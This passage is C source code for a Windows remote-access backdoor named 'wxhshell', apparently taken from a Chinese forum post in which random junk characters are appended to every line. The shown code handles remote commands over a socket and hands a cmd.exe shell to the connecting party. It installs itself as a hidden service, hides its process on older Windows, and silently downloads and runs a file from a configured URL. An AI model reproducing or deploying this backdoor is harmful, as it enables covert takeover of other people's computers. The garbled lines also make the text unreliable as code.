  if(DownloadFile(cmd,wsh)) en5sqKqh+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!qOy/}D  
  else Ir,3' G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _MI8P/  
  } liuw!  
  else { W ZAkp|R  
~vGX(8N  
    switch(cmd[0]) { eM) I%  
  5;alq]m7  
  // 帮助 )5j1;A:gr  
  case '?': { drM@6$k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oPbxe  
    break; ^z^zsNx  
  } }5nVZ;  
  // 安装 j-CSf(qIj  
  case 'i': { v 0 3  
    if(Install()) ^'Z?BK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O/N@ Gz[g%  
    else V~~4<?=A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Av[`1a2F  
    break; p-S&Wq  
    }  45qSt2  
  // 卸载 G9YfJ?I  
  case 'r': { f)b+>!  
    if(Uninstall()) Dus [N< w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@?Rj  
    else J?1U'/Wx2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2d:5~fEJp  
    break; cU[^[;4J<  
    } X%sMna)  
  // 显示 wxhshell 所在路径 6!;eJYj,  
  case 'p': { H?a1XEY/  
    char svExeFile[MAX_PATH]; l`wF;W!  
    strcpy(svExeFile,"\n\r"); RP9jZRDbZ  
      strcat(svExeFile,ExeFile); 5Xr<~xr  
        send(wsh,svExeFile,strlen(svExeFile),0); JHvawFBN<u  
    break; A#@9|3  
    } !,0%ZG}]7  
  // 重启 |GLh|hr  
  case 'b': { uex m|5|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |u@/,x/t  
    if(Boot(REBOOT)) zQ=c6xvm8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gd,3}@@SH  
    else { "B34+fOur  
    closesocket(wsh); o]jPG  
    ExitThread(0); VUF$,F9  
    } h@H8oZ[  
    break; ~B2,edkM  
    }  L#>^R   
  // 关机 |}07tUq  
  case 'd': { N,?4,+Hc-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (]}52%~  
    if(Boot(SHUTDOWN)) dW4FMm>|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[A7oH  
    else { iKVJ c=C  
    closesocket(wsh); =mQdM]A)2  
    ExitThread(0); uA]!y{"}J  
    } #<k L.e[  
    break; ":meys6t#  
    } JsA.j qkB  
  // 获取shell &9ZrZ"]  
  case 's': { +WTO_J7  
    CmdShell(wsh); 1<(('H  
    closesocket(wsh);  d  H ;  
    ExitThread(0); Kwmtt  
    break; 6VQe?oh  
  }  z:p;Wm  
  // 退出 'lIj89h<E  
  case 'x': { 7+2DsZ^6MW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^lP;JT?  
    CloseIt(wsh); +f"q^RIU  
    break; 6M^NZ0~J  
    } _B6W:k|-7l  
  // 离开 iU1yJ=  
  case 'q': { /9o gg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cqSo%a2  
    closesocket(wsh); \nbGdka  
    WSACleanup(); \&jmSa=]l  
    exit(1); 7ZR0cJw;  
    break; DPg\y".4Y&  
        } s)BB(vQ]6  
  } "IuHSjP  
  } &WV&_z  
S"Z.M _  
  // 提示信息 ,u@Vi0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RqU^Q*/sF  
} PO@b9O  
  } P ?A:0a  
Muay6b?  
  return; WXmR{za   
} d$}!x[g$Z  
{?YBJnG}x  
// shell模块句柄 u_*DS-  
int CmdShell(SOCKET sock) (O-.^VV  
{ k,h /B  
STARTUPINFO si; jnzOTS   
ZeroMemory(&si,sizeof(si)); 9=5xt;mEs}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /!A?>#O&.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f j:q>}V  
PROCESS_INFORMATION ProcessInfo; {W11+L{8  
char cmdline[]="cmd"; aUYq~E tj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,>Yl(=&  
  return 0; 4^3lG1^YY  
} Y=$PsDh!  
DOB#PI [/  
// 自身启动模式 uN*Ynf(:-  
int StartFromService(void) <_ruVy0]  
{ {^*K@c  
typedef struct j0uu* )Rk  
{ u5O`|I@R  
  DWORD ExitStatus; S9kA69O  
  DWORD PebBaseAddress; < .knM  
  DWORD AffinityMask; AV]7l}-  
  DWORD BasePriority; ; nc3O{rU  
  ULONG UniqueProcessId; nAT,y9&  
  ULONG InheritedFromUniqueProcessId; Q^} Ib[  
}   PROCESS_BASIC_INFORMATION; N/x]-$fl  
Em]2K:  
PROCNTQSIP NtQueryInformationProcess; 5D6 ,B  
TJ_pMU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,k |QuOrCh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y}*J_7-  
r>_40+|&  
  HANDLE             hProcess; EGw;IFj)  
  PROCESS_BASIC_INFORMATION pbi; A81'ca/  
+[B@83  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4d63+iM+}  
  if(NULL == hInst ) return 0; H~<w*[uT  
^|UD&6 dx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8s9ZY4_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )F'r-I%Hi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 60--6n  
l>*L Am5  
  if (!NtQueryInformationProcess) return 0; {v,NNKQ4x  
3XSfXS{lwP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aL^ 58My&  
  if(!hProcess) return 0; +[2ep"5H  
3,^.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ngOGo =  
KXT9Wt=  
  CloseHandle(hProcess); -LU%z'  
bc]SY =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fJD+GvV$x  
if(hProcess==NULL) return 0; C+%6N@  
PrhGp _5  
HMODULE hMod; _^@>I8ix  
char procName[255]; 1!W'0LPM  
unsigned long cbNeeded; /N7.|XI.  
:YCB23368"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0BP Ubp(  
nduUuCIY.  
  CloseHandle(hProcess); NCivh&HR  
h'.B-y~c  
if(strstr(procName,"services")) return 1; // 以服务启动 a`6R}|ZB  
S+bpWA  
  return 0; // 注册表启动 61Wh %8-  
} .~,=?aq^  
!W/"Z!k  
// 主模块 m[qW)N:w  
int StartWxhshell(LPSTR lpCmdLine) >4&0j'z"  
{ KsQn%mxS  
  SOCKET wsl; N(`XqeC*  
BOOL val=TRUE; Pos(`ys;  
  int port=0; h9kwyhd"  
  struct sockaddr_in door; \49s;\I]  
B^@X1EE  
  if(wscfg.ws_autoins) Install(); Xbu P_U'  
>Xi/ p$$7u  
port=atoi(lpCmdLine); w>wzV=R  
?izl#?  
if(port<=0) port=wscfg.ws_port; G=PX'dS  
.`jYrW-k  
  WSADATA data; (*Z:ByA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?T)M z q}  
(W |;gQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u]Z;Q_=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7O,!67+^~  
  door.sin_family = AF_INET; e.WKf,e"X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uxlrJ1~M  
  door.sin_port = htons(port); v}TFM  
 {gb` %J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CU@}{}Yl  
closesocket(wsl); dWP<,Z>  
return 1; .l$U:d  
} g(dReC  
U+,RP$r@  
  if(listen(wsl,2) == INVALID_SOCKET) { Sq]QRI/  
closesocket(wsl); 4{ [d '-H5  
return 1; 5c$\DZ(  
} `_SV1|=="8  
  Wxhshell(wsl); Z8`Y}#Za[  
  WSACleanup(); uM,R+)3  
]G Blads  
return 0; W<:x4gBa  
<"yL(s^u"  
} .'b| pd  
$r)NL  
// 以NT服务方式启动 1E=E ?$9sg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o37D~V;  
{ 0 YAH[YF  
DWORD   status = 0; C!U$<_I\2  
  DWORD   specificError = 0xfffffff; [lGxys)J  
iKu4s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vwb_$Yi+]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VniU:A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3mhjwgP<nn  
  serviceStatus.dwWin32ExitCode     = 0; 9Dp0Pi?29  
  serviceStatus.dwServiceSpecificExitCode = 0; EHK+qrym  
  serviceStatus.dwCheckPoint       = 0; Q CO,f  
  serviceStatus.dwWaitHint       = 0; O l;DJV  
VfwH:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4v` G/w  
  if (hServiceStatusHandle==0) return; &ET$ca`j#  
&+3RsIl W  
status = GetLastError(); / ;+Mz*  
  if (status!=NO_ERROR) R '8S)'l  
{ M 5$JBnN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I&`aGnr^^  
    serviceStatus.dwCheckPoint       = 0; GT\ yjrCd  
    serviceStatus.dwWaitHint       = 0; Ns]$+|  
    serviceStatus.dwWin32ExitCode     = status; jig3M N  
    serviceStatus.dwServiceSpecificExitCode = specificError; bd H+M?k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }R/we`  
    return; LTB rg[X  
  } xQl}~G]!  
&G?"I%Vw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lOM8%{.'_x  
  serviceStatus.dwCheckPoint       = 0; #8~ygEa}  
  serviceStatus.dwWaitHint       = 0; KTBtLUH]*F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }I1j#d0.  
} (\o4 c0UzK  
=R"LB}>h}  
// 处理NT服务事件,比如:启动、停止 P@D\5}*6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a_-@rceU  
{  O*.n;_&  
switch(fdwControl) #M4LG; B  
{ 5~ZzQG  
case SERVICE_CONTROL_STOP: u%lUi2P2E  
  serviceStatus.dwWin32ExitCode = 0; ?#Y:2LqPC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5 D=r7  
  serviceStatus.dwCheckPoint   = 0; gAVD-]`  
  serviceStatus.dwWaitHint     = 0; EwmNgmYq  
  { I9m9`4BK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }9glr]=  
  } jGT|Xo>t  
  return; jT!?lqr(Rb  
case SERVICE_CONTROL_PAUSE: %hlgLM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sVGQSJJ5  
  break; yFS{8yrRUU  
case SERVICE_CONTROL_CONTINUE: RR's W@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "n)AlAV@  
  break; =:!>0~  
case SERVICE_CONTROL_INTERROGATE: __zHe-.m  
  break; 9C=*>I27?  
}; _#MKpH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / DP0K @%  
} 8_ o~0lb  
|5ge4,}0  
// 标准应用程序主函数 3rd8mh&l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EJRkFn8XG'  
{ Ke=+D'=  
6kMkFZ}+  
// 获取操作系统版本 aGfp"NtL  
OsIsNt=GetOsVer();  D[}^G5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t&NpC;>v  
RWX!d54&  
  // 从命令行安装 :H&G}T(#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ALcPbr  
z"mpw mv5  
  // 下载执行文件 Go^TTL   
if(wscfg.ws_downexe) { >< >%;HZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a2ho+TwT  
  WinExec(wscfg.ws_filenam,SW_HIDE); M<*WC{  
} @rA V;D%  
]T)<@bmL  
if(!OsIsNt) { l5~O}`gfh  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z[ &d2'  
HideProc(); 8qaU[u&$  
StartWxhshell(lpCmdLine); WUo\jm[yr  
} co1aG,>"q  
else L &hw- .Q  
  if(StartFromService()) mwyB~,[d+W  
  // 以服务方式启动 aWH  
  StartServiceCtrlDispatcher(DispatchTable); 6/?onEL9_  
else &:IcwD&  
  // 普通方式启动 Sk1t~  
  StartWxhshell(lpCmdLine); (vX< B h  
i;s;:{cn  
return 0; U*E)y7MY  
}
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只看该作者 1 发表于: 2006-10-10
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